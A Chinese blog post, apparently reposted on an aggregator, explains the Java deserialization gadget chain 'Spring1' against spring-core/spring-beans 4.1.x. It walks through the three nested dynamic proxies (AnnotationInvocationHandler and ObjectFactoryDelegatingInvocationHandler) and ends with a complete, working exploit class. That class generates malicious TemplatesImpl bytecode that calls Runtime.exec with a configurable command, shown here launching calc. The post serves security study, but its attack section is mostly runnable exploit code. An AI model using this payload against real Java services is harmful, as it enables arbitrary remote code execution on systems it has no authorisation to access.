【Web】浅聊Java反序列化之Spring1链——三层动态代理

目录

影响版本:

利用链

漏洞之sink:MethodInvokeTypeProvider#readObject

动态代理在反序列化中的应用

让provider.getType()返回一个动态代理对象——打破桎梏

桥梁——ObjectFactoryDelegatingInvocationHandler

小结

EXP


​前文:【Java】Spring的ReflectionUtils类常用方法学习笔记-CSDN博客

【Java】关于动态代理的基础知识个人笔记-CSDN博客

影响版本:

jdk8u71之前

spring-core : 4.1.4.RELEASE
spring-beans : 4.1.4.RELEASE

利用链

/*Gadget chain:ObjectInputStream.readObject()SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()SerializableTypeWrapper.TypeProvider(Proxy).getType()AnnotationInvocationHandler.invoke()HashMap.get()ReflectionUtils.findMethod()SerializableTypeWrapper.TypeProvider(Proxy).getType()AnnotationInvocationHandler.invoke()HashMap.get()ReflectionUtils.invokeMethod()Method.invoke()Templates(Proxy).newTransformer()AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()ObjectFactory(Proxy).getObject()AnnotationInvocationHandler.invoke()HashMap.get()Method.invoke()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TemplatesImpl.TransletClassLoader.defineClass()Pwner*(Javassist-generated).<static init>Runtime.exec()*/

漏洞之sink:MethodInvokeTypeProvider#readObject

先来看MethodInvokeTypeProvider的构造方法,要求传入provider,method和index

public MethodInvokeTypeProvider(TypeProvider provider, Method method, int index) {this.provider = provider;this.methodName = method.getName();this.index = index;this.result = ReflectionUtils.invokeMethod(method, provider.getType());}

再来看 MethodInvokeTypeProvider#readObject

private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {inputStream.defaultReadObject();Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());}}

这段代码调用了 ReflectionUtils,先是 findMethod 返回 Method 对象然后紧接着调用 invokeMethod 反射调用。注意,这里的调用是无参调用,对应的方法也是无参方法。
我们可以让this.methodName为newTransformer方法,并且让this.provider.getType()返回恶意TempletesImpl对象(其实并不是),从而调用TempletesImpl#newTransformer,触发类加载并执行任意代码(老面孔了,不作解释QWQ)

前者很好实现,直接传即可,后者则需要一番探讨。

动态代理在反序列化中的应用

我知道自己很啰嗦,但求求你先别急。

我们首先要有这样的两点朴素观念

①类分两种,普通类主要负责实际的业务逻辑实现,调用了什么方法就实现什么逻辑;动态代理类主要负责在调用真实对象的方法前后,交由代理执行一些额外的逻辑

②InvocationHandler的invoke方法,不管外边执行什么方法,都会执行到invoke

下面聊聊动态代理在反序列化中的常见用法:

想象一个场景,我们的最终目的是调用Evil.func,
而入口类A入参是O,A中调用了非恶意的健康代码O.method,若O只是一个普通类,那么一切就很和谐地运行下去;若O是一个动态代理类,Evil类作为参数传入O,A中的O.method触发动态代理的invoke方法,invoke方法中调用了Evil.func,从而达成了我们的目的

让provider.getType()返回一个动态代理对象——打破桎梏

我们先来看看this.provider.getType()是何方神圣

 interface TypeProvider extends Serializable {Type getType();Object getSource();}

不用看具体实现就能发现getType方法明确了返回的对象类型是Type类型

OK回到正题

我们想控制this.provider.getType()的返回值,最好的方法便是对provider使用动态代理,当调用到getType时通过InvocationHandler的处理让目标返回TemplatesImpl

我们知道在AnnotationInvocationHandler#invoke中,传入的member的属性值已经给定为'getType'的情况下,就可以通过控制memberValues属性值来控制返回的对象(具体实现就是往HashMap放k为'getType',v为TemplatesImpl),这是否可行呢?

class AnnotationInvocationHandler implements InvocationHandler, Serializable {private final Class<? extends Annotation> type;private final Map<String, Object> memberValues;AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}public Object invoke(Object proxy, Method method, Object[] args) {String member = method.getName();Class<?>[] paramTypes = method.getParameterTypes();// Handle Object and Annotation methodsif (member.equals("equals") && paramTypes.length == 1 &&paramTypes[0] == Object.class)return equalsImpl(args[0]);if (paramTypes.length != 0)throw new AssertionError("Too many parameters for an annotation method");switch(member) {case "toString":return toStringImpl();case "hashCode":return hashCodeImpl();case "annotationType":return type;}// Handle annotation member accessorsObject result = memberValues.get(member);if (result == null)throw new IncompleteAnnotationException(type, member);if (result instanceof ExceptionProxy)throw ((ExceptionProxy) result).generateException();if (result.getClass().isArray() && Array.getLength(result) != 0)result = cloneArray(result);return result;}
}

很遗憾,并不行,因为上面也提到getType方法返回的对象类型是Type类型,若直接返回TemplatesImpl类型会类型转换错误而失败。

而我们需要的是返回值是 Type 类型又是 Templates 类型的类,如果是具体类,那条件未免有些苛刻,显然,其只能是个动态代理类

到这一步,我们已经确定了反序列化的入口是MethodInvokeTypeProvider,它的provider是用了AnnotationInvocationHandler作为handler的类型为typeProvider的动态代理类,并且其provider.getType()返回值是个既是Type 类型又是Templates 类型的动态代理类

桥梁——ObjectFactoryDelegatingInvocationHandler

首先要清楚,这一长串玩意,本质上还是InvocationHandler,是给我们创建动态代理用的

and别忘了我们的目的是获取一个返回值是 Type 类型又是 Templates 类型的动态代理类传给AnnotationInvocationHandler

而这个动态代理类用的handler就是ObjectFactoryDelegatingInvocationHandler

它的构造方法接收一个ObjectFactory参数

public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {this.objectFactory = objectFactory;}

OK打住,我们再看下ObjectFactoryDelegatingInvocationHandler#invoke

 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {String methodName = method.getName();if (methodName.equals("equals")) {return proxy == args[0];} else if (methodName.equals("hashCode")) {return System.identityHashCode(proxy);} else if (methodName.equals("toString")) {return this.objectFactory.toString();} else {try {return method.invoke(this.objectFactory.getObject(), args);} catch (InvocationTargetException var6) {throw var6.getTargetException();}}}}

太优雅了,其对this.objectFactory.getObject()进行传入的method的反射方法调用,而getObject()返回值是一个泛型!

public interface ObjectFactory<T> {T getObject() throws BeansException;
}

那只要我们能控制this.objectFactory.getObject()的返回结果为构造好的TemplateImpl对象即可,这样就可以配合传入的method(newTransformer)完成利用链的调用。

为了实现这个效果,这里我们又要套一层类型是ObjectFactory.class的代理类,并作为ObjectFactory参数传入DelegatingInvocationHandler

所以我们要创建objectFactory的动态代理并且让Handler为AnnocationInvocationHandler,并且设置memberValue属性中getObject为key,value为TemplatesImpl对象。(道理在上面讲过了,不作赘述)

至于返回值既是 Type 类型又是 Templates 类型要怎么实现呢

我们只要在创建代理时指定就好(啰嗦一嘴)

Class<?> clazz2 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];con2.setAccessible(true);InvocationHandler ofdHandler = (InvocationHandler) con2.newInstance(factory);Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Type.class, Templates.class}, ofdHandler);

小结

这条链共计用了三次动态代理,用了两次AnnotationInvocationHandler实现动态代理来修改方法的返回值,两个动态代理之间是通过ObjectFactoryDelegatingInvocationHandler实现动态代理作为桥梁连接起来的。

EXP

我复现用的是jdk8u20(

pom依赖

 <dependencies><!-- https://mvnrepository.com/artifact/org.springframework/spring-core --><dependency><groupId>org.springframework</groupId><artifactId>spring-core</artifactId><version>4.1.1.RELEASE</version></dependency><!-- https://mvnrepository.com/artifact/org.springframework/spring-beans --><dependency><groupId>org.springframework</groupId><artifactId>spring-beans</artifactId><version>4.1.1.RELEASE</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version></dependency></dependencies>

召唤计算器的神奇咒语

package com.spring;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.beans.factory.ObjectFactory;import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;public class Spring1 {public static void main(String[] args) throws Exception {TemplatesImpl templates = TemplatesImpl.class.newInstance();setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});setValue(templates, "_name", "1");Class<?> clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> con1 = clazz1.getDeclaredConstructors()[0];con1.setAccessible(true);HashMap<String, Object> map1 = new HashMap<String, Object>();map1.put("getObject", templates);InvocationHandler invocationHandler1 = (InvocationHandler) con1.newInstance(Target.class, map1);ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler1);Class<?> clazz2 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];con2.setAccessible(true);InvocationHandler ofdHandler = (InvocationHandler) con2.newInstance(factory);Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Type.class, Templates.class}, ofdHandler);HashMap<String, Object> map2 = new HashMap<String, Object>();map2.put("getType", typeTemplateProxy);InvocationHandler invocationHandler2 = (InvocationHandler) con1.newInstance(Target.class, map2);Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{typeProviderClass}, invocationHandler2);Class<?> clazz3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");Constructor<?> con3 = clazz3.getDeclaredConstructors()[0];con3.setAccessible(true);Object o = con3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);setValue(o, "methodName", "newTransformer");ser(o);}public static void ser(Object o) throws Exception {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(o);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));ois.readObject();}public static byte[] genPayload(String cmd) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");clazz.addConstructor(constructor);clazz.getClassFile().setMajorVersion(49);return clazz.toBytecode();}public static void setValue(Object obj, String name, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/726452.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【异常处理】使用雪花算法的id出现的精度问题

雪花算法产生的id传到前端出现了精度的问题 现象 表的ID主键使用Mybatis plus默认 的雪花算法来生成。 数据库id是bigint类型&#xff0c;后端用Long 后端的id是—> 1297873308628300000 传到前端后—> 1297873308628307970 解决方案1&#xff1a; 直接用注解最快…

力扣hot100:239.滑动窗口最大值(优先队列/单调队列)

本题是一个经典的单调队列题。不过用优先队列也能解决。 一、优先队列 在使用优先队列时&#xff0c;我们会遇到这样的问题&#xff1a;如何将一个目标数从优先队列中弹出&#xff1f;如果使用stl这是办不到的&#xff0c;虽然可以自行实现这样的功能。但是我们可以这样思考&am…

VSCode安装教程(版本:1.87.0)Windows10

安装完Python后&#xff0c;我们即可在自己的电脑上开始学习Python编程。在此之前&#xff0c;我们需要一个代码编辑器&#xff0c;此处我推荐的是Visual Studio Code&#xff08;简称VS Code&#xff09;。可能你会好奇&#xff0c;Python安装时不是自带了一个代码编辑器吗&am…

学习JAVA的第十五天(基础)

目录 数据结构 二叉树 二叉查找树 平衡二叉树 红黑树 Set系列集合 HashSet集合 LinkedHashSet集合 TreeSet集合 前言&#xff1a;学习JAVA的第十四天&#xff08;基础&#xff09;-CSDN博客 数据结构 二叉树 元素&#xff1a;结点&am…

html兼容性问题都有什么;如何解决

HTML兼容性问题是在不同浏览器或设备上显示网页时可能出现的不一致或错误的情况。以下是一些常见的HTML兼容性问题及解决方法的详细讲解&#xff1a; 标签解析不一致&#xff1a; 不同浏览器对HTML标签的解析方式可能有所不同&#xff0c;导致显示效果不一致。为了解决这个问题…

【IC设计】Scala、Chisel、Chiseltest版本兼容信息

在maven仓库中精心整理的Scala、Chisel、Chiseltest的版本兼容信息&#xff0c;有了这个再也不怕sbt构建时找不到库文件了&#xff01; 目前百度上我搜不到这个资料&#xff0c;是我从maven官网上整理的&#xff0c;如果对你有用希望点点赞~ scala 2.11系列兼容的chisel版本为兼…

男人的玩具系统wordpress外贸网站主题模板

垂钓用品wordpress外贸模板 鱼饵、鱼竿、支架、钓箱、渔线轮、鱼竿等垂钓用品wordpress外贸模板。 https://www.jianzhanpress.com/?p3973 身体清洁wordpress外贸网站模板 浴盐、防蚊液、足部护理、沐浴液、洗手液、泡澡用品wordpress外贸网站模板。 https://www.jianzhan…

基于微信小程序的电影院订票选座系统的设计与实现(程序+数据库+)

** &#x1f345;点赞收藏关注 → 私信领取本源代码、数据库&#x1f345; 本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#xff0c;希望你能有所收获&#xff0c;少走一些弯路。&#x1f345;关注我不迷路&#x1f345;** 一、研究背景…

[Redis]——缓存击穿和缓存穿透及解决方案(图解+代码+解释)

目录 一、缓存击穿&#xff08;热点Key问题&#xff09; 1.1 问题描述 1.2 解决方案及逻辑图 1.2.1 互斥锁 1.2.2 逻辑过期 二、缓存穿透 2.1 问题描述 2.2 解决方案逻辑图 2.2.1 缓存空对象 2.2.2 布隆过滤器 一、缓存击穿&#xff08;热点Key问题&#xff09; 个人理…

“首件检验”为什么至关重要?(内附流程规范)

在产品的设计及生产过程中&#xff0c;经常会出现设计变更、工艺变更、制程调整、非计划停线及转产、转线等“变化”。 如何确保这些“变化”不影响产品后续的生产品质&#xff1f;这就需要在作业准备验证、停产后验证阶段&#xff0c;进行不能缺少的重要环节——“首件检验”。…

ruoyi-vue框架密码加密传输

先看一下改造后的样子&#xff0c;输入的密码不会再以明文展示。 下面我主要把前后端改造的代码贴出来。 1.后端代码 RsaUtils类 在com.ruoyi.common.utils包下新建RsaUtils类&#xff0c;RsaUtils添加了Component注解 generateKeyPair()构建密钥对添加了Bean注解 在项目启动…

大语言模型系列-GPT-2

文章目录 前言一、GPT-2做的改进二、GPT-2的表现总结 前言 《Language Models are Unsupervised Multitask Learners&#xff0c;2019》 前文提到&#xff0c;GPT-1利用不同的模型结构微调初步解决了多任务学习的问题&#xff0c;但是仍然是预训练微调的形式&#xff0c;GPT-…

【Spring高级】第2讲:容器实现类

目录 BeanFactory实现BeanDefinition后置处理器单例bean创建后置处理器顺序总结 ApplicationContext实现ClassPathXmlApplicationContextFileSystemXmlApplicationContextAnnotationConfigApplicationContextAnnotationConfigServletWebServerApplicationContext BeanFactory实…

linux常用指令(定期更新)

linux常用指令 1.页相关页大小 2.系统参数3.启动参数4.网络参数查询网卡所属numa节点信息网络测速相关iperf测试sar监控网卡流量查看网卡txqueuelen和mtu抓包tcpdump 网络数据收发状态snmp协议栈netstat -i所有网口TX-OK、RX-OKnetstat-s查看各个协议的收发数据ethtool -S单个网…

Ubuntu环境配置-LinuxQQ篇

本教程下载Linux QQ的版本是linuxqq_3.0.0-571_amd64.deb 一、下载LinuxQQ 直接使用wget命令下载链接&#xff0c;下载文件 wget https://dldir1.qq.com/qqfile/qq/QQNT/c005c911/linuxqq_3.0.0-571_amd64.deb 二、安装LinuxQQ 当下载完成后&#xff0c;运行命令&#xff1a;…

强化学习中的alpha和gamma分别代表什么

在强化学习中&#xff0c;alpha&#xff08;α&#xff09;和gamma&#xff08;γ&#xff09;分别代表学习率和折扣因子&#xff0c;它们是强化学习算法中的两个重要的超参数。 学习率 (alpha)&#xff1a; alpha 是一个控制在学习过程中对新观测值的权重的参数。它决定了在更…

图像锐化-拉普拉斯算子 Sobel算子

算子解释 广义的讲&#xff0c;对任何函数进行某一项操作都可以认为是一个算子&#xff0c;甚至包括求幂次&#xff0c;开方都可以认为是一个算子&#xff0c;只是有的算子我们用了一个符号来代替他所要进行的运算罢了&#xff0c;所以大家看到算子就不要纠结&#xff0c;他和f…

Sentinel 规则持久化,基于Redis持久化【附带源码】

B站视频讲解 学习链接&#x1f517; 文章目录 一、理论二、实践2-1、dashboard 请求Redis2-1-1、依赖、配置文件引入2-1-2、常量定义2-1-3、改写唯一id2-1-4、新Provider和Publisher2-1-5、改写V2 2-2、应用服务改造2-2-1、依赖、配置文件引入2-2-2、注册监听器 三、源码获取3…

数组存储表格数据

表格是计算机世界最普遍的模型&#xff0c;互联网上看到的所有数据本质上都是“表格”。 ID姓名年龄职能入职日期1001小明18讲师2-141002小红19助教10-101003小亮20班主任5-5 使用二维数组保存表格数据&#xff1a; import java.util.Arrays;public class Test{public stati…

Talk|加州大学圣地亚哥分校程旭欣:视觉反馈下足式机器人的全身操作与运动

本期为TechBeat人工智能社区第576期线上Talk。 北京时间3月6日(周三)20:00&#xff0c;加州大学圣地亚哥分校博士生—程旭欣的Talk已准时在TechBeat人工智能社区开播&#xff01; 他与大家分享的主题是: “视觉反馈下足式机器人的全身操作与运动”&#xff0c;向大家系统地介绍…